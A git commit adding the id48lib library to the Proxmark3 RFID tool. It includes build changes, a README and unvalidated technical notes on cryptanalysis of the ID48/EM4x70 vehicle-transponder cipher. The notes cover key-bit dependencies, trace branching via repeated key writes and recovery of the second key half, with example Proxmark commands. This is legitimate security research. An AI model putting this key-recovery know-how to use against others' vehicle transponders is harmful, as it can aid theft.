Add id48lib and second half of key recovery.

This commit is contained in:
Henry Gabryjelski 2024-03-02 23:36:36 -08:00
parent 5b038631ca
commit 4ebd6d4bff
16 changed files with 11107 additions and 14 deletions

View file

@ -758,6 +758,7 @@ target_link_libraries(proxmark3 PRIVATE
pm3rrg_rdv4_amiibo pm3rrg_rdv4_amiibo
pm3rrg_rdv4_reveng pm3rrg_rdv4_reveng
pm3rrg_rdv4_hardnested pm3rrg_rdv4_hardnested
pm3rrg_rdv4_id48
${ADDITIONAL_LNK}) ${ADDITIONAL_LNK})
if (NOT SKIPPTHREAD EQUAL 1) if (NOT SKIPPTHREAD EQUAL 1)

View file

@ -71,6 +71,12 @@ HARDNESTEDLIBINC = -I$(HARDNESTEDLIBPATH)
HARDNESTEDLIB = $(HARDNESTEDLIBPATH)/libhardnested.a HARDNESTEDLIB = $(HARDNESTEDLIBPATH)/libhardnested.a
HARDNESTEDLIBLD = HARDNESTEDLIBLD =
## ID48
ID48LIBPATH = ./deps/id48
ID48LIBINC = -I$(ID48LIBPATH)
ID48LIB = $(ID48LIBPATH)/libid48.a
ID48LIBLD =
## Jansson ## Jansson
JANSSONLIBPATH = ./deps/jansson JANSSONLIBPATH = ./deps/jansson
JANSSONLIBINC = -I$(JANSSONLIBPATH) JANSSONLIBINC = -I$(JANSSONLIBPATH)
@ -157,6 +163,12 @@ STATICLIBS += $(HARDNESTEDLIB)
LDLIBS +=$(HARDNESTEDLIBLD) LDLIBS +=$(HARDNESTEDLIBLD)
PM3INCLUDES += $(HARDNESTEDLIBINC) PM3INCLUDES += $(HARDNESTEDLIBINC)
## ID48
# not distributed as system library
STATICLIBS += $(ID48LIB)
LDLIBS += $(ID48LIBLD)
PM3INCLUDES += $(ID48LIBINC)
## Linenoise ## Linenoise
# wait to see if Readline is available # wait to see if Readline is available
@ -850,6 +862,7 @@ clean:
$(Q)$(MAKE) --no-print-directory -C $(AMIIBOLIBPATH) clean $(Q)$(MAKE) --no-print-directory -C $(AMIIBOLIBPATH) clean
$(Q)$(MAKE) --no-print-directory -C $(CLIPARSERLIBPATH) clean $(Q)$(MAKE) --no-print-directory -C $(CLIPARSERLIBPATH) clean
$(Q)$(MAKE) --no-print-directory -C $(HARDNESTEDLIBPATH) clean $(Q)$(MAKE) --no-print-directory -C $(HARDNESTEDLIBPATH) clean
$(Q)$(MAKE) --no-print-directory -C $(ID48LIBPATH) clean
$(Q)$(MAKE) --no-print-directory -C $(JANSSONLIBPATH) clean $(Q)$(MAKE) --no-print-directory -C $(JANSSONLIBPATH) clean
ifeq ($(LINENOISE_LOCAL_FOUND), 1) ifeq ($(LINENOISE_LOCAL_FOUND), 1)
$(Q)$(MAKE) --no-print-directory -C $(LINENOISELIBPATH) clean $(Q)$(MAKE) --no-print-directory -C $(LINENOISELIBPATH) clean
@ -902,6 +915,10 @@ $(HARDNESTEDLIB): .FORCE
$(info [*] MAKE $@) $(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C $(HARDNESTEDLIBPATH) all $(Q)$(MAKE) --no-print-directory -C $(HARDNESTEDLIBPATH) all
$(ID48LIB): .FORCE
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C $(ID48LIBPATH) all
$(JANSSONLIB): .FORCE $(JANSSONLIB): .FORCE
ifneq ($(JANSSON_FOUND),1) ifneq ($(JANSSON_FOUND),1)
$(info [*] MAKE $@) $(info [*] MAKE $@)

View file

@ -7,6 +7,9 @@ endif()
if (NOT TARGET pm3rrg_rdv4_hardnested) if (NOT TARGET pm3rrg_rdv4_hardnested)
include(hardnested.cmake) include(hardnested.cmake)
endif() endif()
if (NOT TARGET pm3rrg_rdv4_id48)
include(id48lib.cmake)
endif()
if (NOT TARGET pm3rrg_rdv4_jansson) if (NOT TARGET pm3rrg_rdv4_jansson)
include(jansson.cmake) include(jansson.cmake)
endif() endif()

21
client/deps/id48/LICENSE Normal file
View file

@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) 2024 by Henry Gabryjelski
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

13
client/deps/id48/Makefile Normal file
View file

@ -0,0 +1,13 @@
# Makefile for ID48LIB library
MYSRCPATHS =
MYINCLUDES = -I.
MYCFLAGS = -Wpedantic -Wall -Werror -O3 -Wno-unknown-pragmas -Wno-inline -Wno-unused-function
MYDEFS =
MYSRCS = \
id48_data.c \
id48_generator.c \
id48_recover.c
LIB_A = libid48.a
include ../../../Makefile.host

View file

@ -0,0 +1,50 @@
# ID48LIB
## Purpose
Enable reliable and repeatable key-writing and verification
on ID48 RFID tags. Improve key recovery when the tag is
present and writable.
### Why this is needed.
Have you ever lost data when a computer shutdown unexpectedly?
This occurs when the program believes the data was written,
but the device did not actually store the data before power
was lost.
With RFID tags, the same problem exists, except the power is
wirelessly provided, and may be only enough to read data
(writing takes more power). Thus, it's even more critical
for RFID tags to validate what was written.
If you are bothered by unreliable processes, and enjoy a measure
of certainty, and need to write a new key to an ID48 tag,
then read on.
### Problem background
The ProxMark3 RFID research tool has had basic support for
reading and writing ID48-based RFID tags (aka em4x70). However,
although the code existed to write new 96-bit keys, there was no
way to verify that the keys were actually written to the tag.
This is because the keys are not directly readable from the tag
(by design). The *only* way to verify that the key was successfully
stored on the tag is to perform an authentication against the tag,
using the new key that you had attempted to write, and verify that
the tag's response to the nonce and challenge matches.
Obviously, this requires the ability to calculate, given a known
key and nonce, the challenge to send to the tag, and the expected
response from the tag. Without this, folks simply could not know
if the key was safely stored on the tag or not.
## Capabilities
This library provides the ability to calculate the challenge and
expected response for a known key and nonce. In addition, if
provided the first half of the key, and at least one successful
authentication trio of nonce, challenge, and response, then
the library can recover all potentially valid values for the
second half of the key.

View file

@ -0,0 +1,777 @@
# Technical background and details
This is a collection of random notes and thoughts from the
original development process. Much may be rambling.
Information herein was **_not_** validated before release,
and errors are likely.
## Background and Primary Research Paper
The Usenix security conference 2013 was going to have a presentation
documenting the internals fully (as well as crytpanalysis). This
disclosure was delayed for two years. When it was released, the
paper omitted a non-linear output filter function at definition 3.8.
This omitted function takes a 20-bit input, and returns a single bit.
All other details of the cipher appeared to have been fully disclosed (even if
some errors existed). The largest error is that text description of
the successor function for `g` register was incorrect. However, the
diagram version showed the correct operation.
## Variable and notations used
### Common variables
* `K` ==> a 96-bit shared key, known to both vehicle and transponder
* `N` ==> a 56-bit nonce value, generated by the vehicle,
and sent in cleartext to the transponder
* `Aᵥ` ==> a 28-bit authenticator value generated by a reader
(often a vehicle), and sent in cleartext to the
tag. (aka `frn`)
* `Aₜ` ==> a 20-bit authenticator value generated by a tag
and sent in cleartext to the reader (aka `grn`)
* `frn` ==> an alternate name for `Aᵥ`
* `grn` ==> an alternate name for `Aₜ`
* `g` ==> a 23-bit Galois linear feedback shift register
* `h` ==> a 13-bit non-linear feedback shift register
* `l` ==> a 7-bit feedback register
* `m` ==> a 7-bit feedback register
* `r` ==> a 7-bit feedback register
* `sₙ` ==> a 57-bit internal state of the cipher `=== <g, h, l, m, r>`
* at iteration `n` (where `0 ≤ n ≤ 55`)
* `s₀` ==> cipher initial state
### Notation and Symbols
For our purposes, the finite field `F` will **_always_** refer to
a binary finite field (each element ∈ `{0,1}`). Thus, as is useful
for current computers, we can treat these as bitstrings.
Symbol | Meaning
----------|---------
`^` | bitwise exclusive-or (XOR); the paper used `⊕`
`ε` | the empty bitstring
`0ⁿ` | bitstring of n zero-bits
`xⁿ` | a bitstring of length `n`
`x₀` | the first bit of a bitstring
`xᵢ` | the `i`th bit of a bitstring `xⁿ` (where `i<n`)
`xₙ₋₁` | the last bit of a bitstring `xⁿ`
`xₙ` | the `n`th bit of the bitstring `xꟲ` (where `C>n`)
`x·y` | concatenation of bitstrings `x` and `y`
`~x` | bitwise complement of bitstring `x` (paper uses `x̄`)
`&&` | logical AND (conjunction) (research paper uses `∧`)
`||` | logical OR (disjunction) (research paper uses ``)
`x[i..j]` | The contiguous bits of `x` from subscript `i` to `j`
### Notation Examples:
If the value is stored in
Given:
* `x⁸ = 00000011`
Then:
* `x⁸ === x₇ · x₆ · x₅ · x₄ · x₃ · x₂ · x₁ · x₀`
* `x[7..4] = 0000`
* `x[3..0] = 0011`
* `x[2..1] = 01`
## Cipher data dependencies
### Cipher Initial State s0 - Data Dependencies
Evaluating the bits that influence the initial state, `s₀₀`,
as described in section 3.5:
`p` ==> 56-bit value, depends only on `N` and `K[95..40]`
`q` ==> 44-bit value, depends only on `p`
`t` ==> 43-bit value, depends only on `q`
Thus, all three of those variables depend only
upon `N` and `K[95..40]`.
Notably, the input `i` to the successor function
for `g` is hard-coded to zero for the initialization.
As reproduced below, the full initial state is shown
to depend **_only_** on three variables (`p`, `q`, `t`):
```
g : t(0..22)
h : 0 · p(0..11)
l : t(23..29)
m : t(30..36)
r : t(37..42) · q(43)
```
Therefore, `s₀₀` depends **_only_** on `N`
and `K[95..40]`. Stated differently, the low
40 bits of key `K` (aka `K[39..0]`) have
**_no effect_** on the calculation of `s₀₀`.
### Challenging the assumptions
Generally, `K` remains constant, and `N` is
a random value generated by the reader. It
appears these presumptions were accepted as
always true in the creation of this cipher.
However, the value of `N` can be fully controlled
during research, including choosing to make `N`
constant. Moreover, with a writable tag, `K` can
be modified to have specific relationships with
known-good authentication traces. Taken together,
these properties will (as to be described later)
enable recovery of an equivalent to the output
filter function.
As noted earlier, the initial cipher state `s₀₀`
depends only upon `K[95..40]` and `N`.
Therefore, if `N` is held constant, then the
the initial cipher state `s₀₀` will depend solely
upon `K[95..40]`. Put another way, this means
that all keys which share the most significant 56
bits (or differ only in the least significant 40 bits)
will share the same initial state `s₀₀`.
### Cipher State sₙ - Data Dependencies
_NOTE: This has utility (value) when `K` is known,
even when the mapping of the output filter function
is not yet known for all `2²⁰` potential inputs._
TLDR: With a fixed `N`...
* `s₀` <-- `K[40..95]`
* `s₁` <-- `K[39..95]`
* `s₂` <-- `K[38..95]`
* `sₙ` <-- `s(N-1)` + `K[40-N]`
* `sₙ` <-- `K[(40-N)..95]`
### K₃₉..K₀₀ to output bits
Here's an exhaustive table that maps which bit
of the key influences a given output bit.
Start state + key bit --> output
| Start state | Key bit | Output |
|-------|-------|----------------|
| `s₀₀` | `K₃₉` | << hidden >> |
| `s₀₁` | `K₃₈` | << hidden >> |
| `s₀₂` | `K₃₇` | << hidden >> |
| `s₀₃` | `K₃₆` | << hidden >> |
| `s₀₄` | `K₃₅` | << hidden >> |
| `s₀₅` | `K₃₄` | << hidden >> |
| `s₀₆` | `K₃₃` | << hidden >> |
| `s₀₇` | `K₃₂` | `O₀₀ == frn₀₀` |
| `s₀₈` | `K₃₁` | `O₀₁ == frn₀₁` |
| `s₀₉` | `K₃₀` | `O₀₂ == frn₀₂` |
| `s₁₀` | `K₂₉` | `O₀₃ == frn₀₃` |
| `s₁₁` | `K₂₈` | `O₀₄ == frn₀₄` |
| `s₁₂` | `K₂₇` | `O₀₅ == frn₀₅` |
| `s₁₃` | `K₂₆` | `O₀₆ == frn₀₆` |
| `s₁₄` | `K₂₅` | `O₀₇ == frn₀₇` |
| `s₁₅` | `K₂₄` | `O₀₈ == frn₀₈` |
| `s₁₆` | `K₂₃` | `O₀₉ == frn₀₉` |
| `s₁₇` | `K₂₂` | `O₁₀ == frn₁₀` |
| `s₁₈` | `K₂₁` | `O₁₁ == frn₁₁` |
| `s₁₉` | `K₂₀` | `O₁₂ == frn₁₂` |
| `s₂₀` | `K₁₉` | `O₁₃ == frn₁₃` |
| `s₂₁` | `K₁₈` | `O₁₄ == frn₁₄` |
| `s₂₂` | `K₁₇` | `O₁₅ == frn₁₅` |
| `s₂₃` | `K₁₆` | `O₁₆ == frn₁₆` |
| `s₂₄` | `K₁₅` | `O₁₇ == frn₁₇` |
| `s₂₅` | `K₁₄` | `O₁₈ == frn₁₈` |
| `s₂₆` | `K₁₃` | `O₁₉ == frn₁₉` |
| `s₂₇` | `K₁₂` | `O₂₀ == frn₂₀` |
| `s₂₈` | `K₁₁` | `O₂₁ == frn₂₁` |
| `s₂₉` | `K₁₀` | `O₂₂ == frn₂₂` |
| `s₃₀` | `K₀₉` | `O₂₃ == frn₂₃` |
| `s₃₁` | `K₀₈` | `O₂₄ == frn₂₄` |
| `s₃₂` | `K₀₇` | `O₂₅ == frn₂₅` |
| `s₃₃` | `K₀₆` | `O₂₆ == frn₂₆` |
| `s₃₄` | `K₀₅` | `O₂₇ == frn₂₇` |
| `s₃₅` | `K₀₄` | `O₂₈ == grn₀₀` |
| `s₃₆` | `K₀₃` | `O₂₉ == grn₀₁` |
| `s₃₇` | `K₀₂` | `O₃₀ == grn₀₂` |
| `s₃₈` | `K₀₁` | `O₃₁ == grn₀₃` |
| `s₃₉` | `K₀₀` | `O₃₂ == grn₀₄` |
| `s₄₀` | `0₁₄` | `O₃₃ == grn₀₅` |
| `s₄₁` | `0₁₃` | `O₃₄ == grn₀₆` |
| `s₄₂` | `0₁₂` | `O₃₅ == grn₀₇` |
| `s₄₃` | `0₁₁` | `O₃₆ == grn₀₈` |
| `s₄₄` | `0₁₀` | `O₃₇ == grn₀₉` |
| `s₄₅` | `0₀₉` | `O₃₈ == grn₁₀` |
| `s₄₆` | `0₀₈` | `O₃₉ == grn₁₁` |
| `s₄₇` | `0₀₇` | `O₄₀ == grn₁₂` |
| `s₄₈` | `0₀₆` | `O₄₁ == grn₁₃` |
| `s₄₉` | `0₀₅` | `O₄₂ == grn₁₄` |
| `s₅₀` | `0₀₄` | `O₄₃ == grn₁₅` |
| `s₅₁` | `0₀₃` | `O₄₄ == grn₁₆` |
| `s₅₂` | `0₀₂` | `O₄₅ == grn₁₇` |
| `s₅₃` | `0₀₁` | `O₄₆ == grn₁₈` |
| `s₅₄` | `0₀₀` | `O₄₇ == grn₁₉` |
## Branching ... from one trace to millions
Given the ability to control the nonce `N`, and
in particular to use a constant `N`, it becomes
possible to generate many valid authentication
sequences (with different keys) from just a
single valid authentication with a known key.
### Trivially getting 31 more traces
With a static nonce value, an astute observer may
have noticed that `frn` does not rely on the least
significant five bits of the key ... those bits
influence `grn₀₀..grn₀₄`.
Therefore, so long as the only bits of `K` that
differ are `K₀₄..K₀₀`, the `frn` value will remain
constant for a given nonce.
This allows a single known-good key + nonce + frn
to be trivially expanded to 32x known-good sets,
for "nearby" consecutive keys. Another way to state
this is that each block of 32 consecutive keys will
share the same `Aᵥ` value.
More formally, where `(K' ^ K) <= 0x1F`,
then `Aᵥ' = Aᵥ`.
```
REM using the key and auth values from the research paper
lf em 4x70 writekey --key A090A0A02080000000000000
REM expect a tag response of `60 9D 6`
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0
REM repeat using 31 additional keys in the same "block"
lf em 4x70 writekey --key A090A0A02080000000000001
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0
lf em 4x70 writekey --key A090A0A02080000000000002
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0
lf em 4x70 writekey --key A090A0A02080000000000003
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0
REM ... and so on, for a total of 31 more keys
lf em 4x70 writekey --key A090A0A0208000000000001E
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0
lf em 4x70 writekey --key A090A0A0208000000000001F
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0
```
The tag will respond to all 32 authentications,
although its `grn` responses may differ for each key.
### Moving one bit further...
Walking the sequence backwards one additional bit,
where the last ***six*** bits of the key change,
what happens to `Aᵥ`?
It turns out that `Aᵥ` will either remain identical,
or that the least significant bit of `Aᵥ` will flip.
Thus, there are exactly two possible values that
need to be tested for `Aᵥ`, and the tag will respond
to exactly one of them.
Formally, where `(K' ^ K) <= 0x3F`,
then `Aᵥ' ^ Aᵥ <= 0x1`.
```
REM using the key and auth values from the research paper
lf em 4x70 writekey --key A090A0A02080000000000000
REM expect a tag response of `60 9D 6`
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0
REM repeat using 31 additional keys in the same "block"
lf em 4x70 writekey --key A090A0A02080000000000020
REM 50% chance that this is the correct FRN value
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0
REM 50% chance that this is the correct FRN value
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1B0
```
### Expanding further...
Each additional bit of the key that is changed
will double the number of `Aᵥ` values that need
to be tested to find the correct challenge.
Using `K'' == K ^ 0x1FF` (nine lowest bits changed),
requires testing only 16 possible `Aᵥ''` values,
by permuting the least significant bits of `Aᵥ`.
Thus, exactly one of the following should result
in a successful authentication:
```
REM modify the key's lowest nine bits
lf em 4x70 writekey --key A090A0A02080000000000100
REM 1/16 chance for each of these to work:
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F100
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F110
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F120
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F130
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F140
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F150
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F160
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F170
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F180
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F190
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1B0
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1C0
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1D0
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1E0
lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1F0
REM hint: response will be `65 09 A`
```
### Table of search space per key change
Depending on the most significant bit that changed in the key,
it can be trivially calculated how many variations of `Aᵥ`
need to be tested to find the correct challenge for that same
nonce.
| msb changed | key bits changed mask| Values to test | 2^N |
|-------------|----------------------|------------------|------|
| `0` | `0x00'0000'0000` | `1` | `0` |
| `1` | `0x00'0000'0001` | `1` | `0` |
| `2` | `0x00'0000'0003` | `1` | `0` |
| `3` | `0x00'0000'0007` | `1` | `0` |
| `4` | `0x00'0000'000F` | `1` | `0` |
| `5` | `0x00'0000'001F` | `1` | `0` |
| `6` | `0x00'0000'003F` | `2` | `1` |
| `7` | `0x00'0000'007F` | `4` | `2` |
| `8` | `0x00'0000'00FF` | `8` | `3` |
| `9` | `0x00'0000'01FF` | `16` | `4` |
| `10` | `0x00'0000'03FF` | `32` | `5` |
| `11` | `0x00'0000'07FF` | `64` | `6` |
| `12` | `0x00'0000'0FFF` | `128` | `7` |
| `13` | `0x00'0000'1FFF` | `256` | `8` |
| `14` | `0x00'0000'3FFF` | `512` | `9` |
| `15` | `0x00'0000'7FFF` | `1,024` | `10` |
| `16` | `0x00'0000'FFFF` | `2,048` | `11` |
| `17` | `0x00'0001'FFFF` | `4,096` | `12` |
| `18` | `0x00'0003'FFFF` | `8,192` | `13` |
| `19` | `0x00'0007'FFFF` | `16,384` | `14` |
| `20` | `0x00'000F'FFFF` | `32,768` | `15` |
| `21` | `0x00'001F'FFFF` | `65,536` | `16` |
| `22` | `0x00'003F'FFFF` | `131,072` | `17` |
| `23` | `0x00'007F'FFFF` | `262,144` | `18` |
| `24` | `0x00'00FF'FFFF` | `524,288` | `19` |
| `25` | `0x00'01FF'FFFF` | `1,048,576` | `20` |
| `26` | `0x00'03FF'FFFF` | `2,097,152` | `21` |
| `27` | `0x00'07FF'FFFF` | `4,194,304` | `22` |
| `28` | `0x00'0FFF'FFFF` | `8,388,608` | `23` |
| `29` | `0x00'1FFF'FFFF` | `16,777,216` | `24` |
| `30` | `0x00'3FFF'FFFF` | `33,554,432` | `25` |
| `31` | `0x00'7FFF'FFFF` | `67,108,864` | `26` |
| `32` | `0x00'FFFF'FFFF` | `134,217,728` | `27` |
| `33` | `0x01'FFFF'FFFF` | `268,435,456` | `28` |
| `34` | `0x03'FFFF'FFFF` | `536,870,912` | `29` |
| `35` | `0x07'FFFF'FFFF` | `1,073,741,824` | `30` |
| `36` | `0x0F'FFFF'FFFF` | `2,147,483,648` | `31` |
| `37` | `0x1F'FFFF'FFFF` | `4,294,967,296` | `32` |
| `38` | `0x3F'FFFF'FFFF` | `8,589,934,592` | `33` |
| `39` | `0x7F'FFFF'FFFF` | `17,179,869,184` | `34` |
| `40` | `0xFF'FFFF'FFFF` | `34,359,738,368` | `35` |
| `> 40` | ... more ... | changes s₀₀ ... | `56` |
### Branching of keys
Thus, it becomes almost trivial to generate millions of
valid authentication sequences for a given nonce, `frn`,
and `K' ~= K`. Each of these authentication sequences
has the potential to generate at least twenty distinct
internal cipher states from `Aₜ`.
While trivial, this takes time. Millions of traces were
generated over the course of multiple months using multiple
PM3 Easy devices 24/7, each one writing keys and
brute-forcing the `frn` values.
## Creating equivalent to the "Output Filter Function"
While the **_mechanics and computation_** of the output
filter function is not known, the **_inputs_** are
defined in Definition 3.9, and the output is a single bit.
Therefore, if the entire cipher except for the internal
computations of the output filter are known, given a
known valid authentication trace, all twenty of the
input bits passed to the output filter function can be
calculated for each of the 48 output bits (`Aᵥ` and `Aₜ`).
When using branched traces (from above), the first 36
internal cipher states (give or take) are shared, and
thus do not provide "new" information. This still
provides up to 12 bits of "new" information per trace,
or up to ~192 bits of "new" information per block of
32 consecutive keys that share the same `frn` value.
Treating the 20-bit parameter as an index to a bitmap,
the full mapping requires only a 128k bitmap.
Initially, when there remain unknown mappings, a
second 128k bitmap is used to tracks if the output bit
for that 20-bit parameter has already been found.
As the table become more filled, it becomes easier to
generate new authentication sequences using entirely
random values for `N` and `K`, especially where the
most significant bits of `frn` are known. Thus, the
brute force space for key branching never becomes
overwhelmingly large.
As an exercise for the reader, and as it is important
to finish filling the last values in the table, an
astute reader can realize optimizations that improve
finding a "targeted" 20-bit input, especially where
the cipher states from current branching had been
archived.
In summary, these traces can thus be used to (slowly)
fill in a 128k bitmap indicating all possible output
values for any of the `2²⁰` inputs, without ever
needing to replicate or know the internal functioning
of the output filter function.
## Which bits of K ....
Given a static value for `N`, what bits in `K`
influence a given output bit?
| sₙ | Output Bit | Bits in `K` | Delta from s(N-1) | Hex Value |
|-------|-------------|-------------|-------------------|------------------|
| `s₁` | ` ` | `K[39..95]` | `K₃₉` | `0x80_0000_0000` |
| `s₂` | ` ` | `K[38..95]` | `K₃₈` | `0x40_0000_0000` |
| `s₃` | ` ` | `K[37..95]` | `K₃₇` | `0x20_0000_0000` |
| `s₄` | ` ` | `K[36..95]` | `K₃₆` | `0x10_0000_0000` |
| `s₅` | ` ` | `K[35..95]` | `K₃₅` | `0x08_0000_0000` |
| `s₆` | ` ` | `K[34..95]` | `K₃₄` | `0x04_0000_0000` |
| `s₇` | `Aᵥ₂₇` | `K[33..95]` | `K₃₃` | `0x02_0000_0000` |
| `s₈` | `Aᵥ₂₆` | `K[32..95]` | `K₃₂` | `0x01_0000_0000` |
| `s₉` | `Aᵥ₂₅` | `K[31..95]` | `K₃₁` | `0x00_8000_0000` |
| `s₁₀` | `Aᵥ₂₄` | `K[30..95]` | `K₃₀` | `0x00_4000_0000` |
| `s₁₁` | `Aᵥ₂₃` | `K[29..95]` | `K₂₉` | `0x00_2000_0000` |
| `s₁₂` | `Aᵥ₂₂` | `K[28..95]` | `K₂₈` | `0x00_1000_0000` |
| `s₁₃` | `Aᵥ₂₁` | `K[27..95]` | `K₂₇` | `0x00_0800_0000` |
| `s₁₄` | `Aᵥ₂₀` | `K[26..95]` | `K₂₆` | `0x00_0400_0000` |
| `s₁₅` | `Aᵥ₁₉` | `K[25..95]` | `K₂₅` | `0x00_0200_0000` |
| `s₁₆` | `Aᵥ₁₈` | `K[24..95]` | `K₂₄` | `0x00_0100_0000` |
| `s₁₇` | `Aᵥ₁₇` | `K[23..95]` | `K₂₃` | `0x00_0080_0000` |
| `s₁₈` | `Aᵥ₁₆` | `K[22..95]` | `K₂₂` | `0x00_0040_0000` |
| `s₁₉` | `Aᵥ₁₅` | `K[21..95]` | `K₂₁` | `0x00_0020_0000` |
| `s₂₀` | `Aᵥ₁₄` | `K[20..95]` | `K₂₀` | `0x00_0010_0000` |
| `s₂₁` | `Aᵥ₁₃` | `K[19..95]` | `K₁₉` | `0x00_0008_0000` |
| `s₂₂` | `Aᵥ₁₂` | `K[18..95]` | `K₁₈` | `0x00_0004_0000` |
| `s₂₃` | `Aᵥ₁₁` | `K[17..95]` | `K₁₇` | `0x00_0002_0000` |
| `s₂₄` | `Aᵥ₁₀` | `K[16..95]` | `K₁₆` | `0x00_0001_0000` |
| `s₂₅` | `Aᵥ₉` | `K[15..95]` | `K₁₅` | `0x00_0000_8000` |
| `s₂₆` | `Aᵥ₈` | `K[14..95]` | `K₁₄` | `0x00_0000_4000` |
| `s₂₇` | `Aᵥ₇` | `K[13..95]` | `K₁₃` | `0x00_0000_2000` |
| `s₂₈` | `Aᵥ₆` | `K[12..95]` | `K₁₂` | `0x00_0000_1000` |
| `s₂₉` | `Aᵥ₅` | `K[11..95]` | `K₁₁` | `0x00_0000_0800` |
| `s₃₀` | `Aᵥ₄` | `K[10..95]` | `K₁₀` | `0x00_0000_0400` |
| `s₃₁` | `Aᵥ₃` | `K[ 9..95]` | `K₉` | `0x00_0000_0200` |
| `s₃₂` | `Aᵥ₂` | `K[ 8..95]` | `K₈` | `0x00_0000_0100` |
| `s₃₃` | `Aᵥ₁` | `K[ 7..95]` | `K₇` | `0x00_0000_0080` |
| `s₃₄` | `Aᵥ₀` | `K[ 6..95]` | `K₆` | `0x00_0000_0040` |
| `s₃₅` | `Aₜ₁₉` | `K[ 5..95]` | `K₅` | `0x00_0000_0020` |
| `s₃₆` | `Aₜ₁₈` | `K[ 4..95]` | `K₄` | `0x00_0000_0010` |
| `s₃₇` | `Aₜ₁₇` | `K[ 3..95]` | `K₃` | `0x00_0000_0008` |
| `s₃₈` | `Aₜ₁₆` | `K[ 2..95]` | `K₂` | `0x00_0000_0004` |
| `s₃₉` | `Aₜ₁₅` | `K[ 1..95]` | `K₁` | `0x00_0000_0002` |
| `s₄₀` | `Aₜ₁₄` | `K[ 0..95]` | `K₀` | `0x00_0000_0001` |
| `s₄₁` | `Aₜ₁₃` | `K[ 0..95]` | ... | |
| `s₄₂` | `Aₜ₁₂` | `K[ 0..95]` | ... | |
| `s₄₃` | `Aₜ₁₁` | `K[ 0..95]` | ... | |
| `s₄₄` | `Aₜ₁₀` | `K[ 0..95]` | ... | |
| `s₄₅` | `Aₜ₉` | `K[ 0..95]` | ... | |
| `s₄₆` | `Aₜ₈` | `K[ 0..95]` | ... | |
| `s₄₇` | `Aₜ₇` | `K[ 0..95]` | ... | |
| `s₄₈` | `Aₜ₆` | `K[ 0..95]` | ... | |
| `s₄₉` | `Aₜ₅` | `K[ 0..95]` | ... | |
| `s₅₀` | `Aₜ₄` | `K[ 0..95]` | ... | |
| `s₅₁` | `Aₜ₃` | `K[ 0..95]` | ... | |
| `s₅₂` | `Aₜ₂` | `K[ 0..95]` | ... | |
| `s₅₃` | `Aₜ₁` | `K[ 0..95]` | ... | |
| `s₅₄` | `Aₜ₀` | `K[ 0..95]` | ... | |
## 128k table ... too large to fit in IoT flash memory
Although too large to fit, there are various two-level (boolean) logic
reduction techniques that can migrate from a truth table (e.g., the bitmap)
to a reduced set of logical operations that will obtain the same result.
(ref: Espresso)
With the 128k bitmap converted to a truth table, a much more reduced set
of tables was found to generate the same results. There is no assurance
that this is the most optimal way to generate the results, but it is
an acceptably small solution ... small enough to even be implemented in
FPGA logic if desired.
## Appendix of random notes (not organized)
### EM4x70 Chip Memory Layout
There are sixteen (`16x`) blocks of memory, each storing a 16-bit value.
Blocks may be protected (`P` column) as read-only (`RO`) or write-only (`WO`).
`Lock₀` === Disable writingPermanent write-prevention when set to 1.
`Lock₁` === Pin-code lock
| `Block` | `P` | `Purpose` | Bits (LSB first) | Bits (MSB first) |
|---------|------|--------------|----------------------------|-----------------------------|
| ` 0` | ` ` | `user memory | bits 0..15` | `bits 15.. 0` |
| ` 1` | ` ` | `user memory | bits 16..29, lock0, lock1` | `lock₁, lock₀, bits 29..16` |
| ` 2` | `RO` | `id | bits 0..15` | `bits 15.. 0` |
| ` 3` | `RO` | `id | bits 16..31` | `bits 31..16` |
| ` 4` | `wo` | `crypto key | bits 0..15` | `bits 15.. 0` |
| ` 5` | `wo` | `crypto key | bits 16..31` | `bits 31..16` |
| ` 6` | `wo` | `crypto key | bits 32..47` | `bits 47..32` |
| ` 7` | `wo` | `crypto key | bits 48..63` | `bits 63..48` |
| ` 8` | `wo` | `crypto key | bits 64..79` | `bits 79..64` |
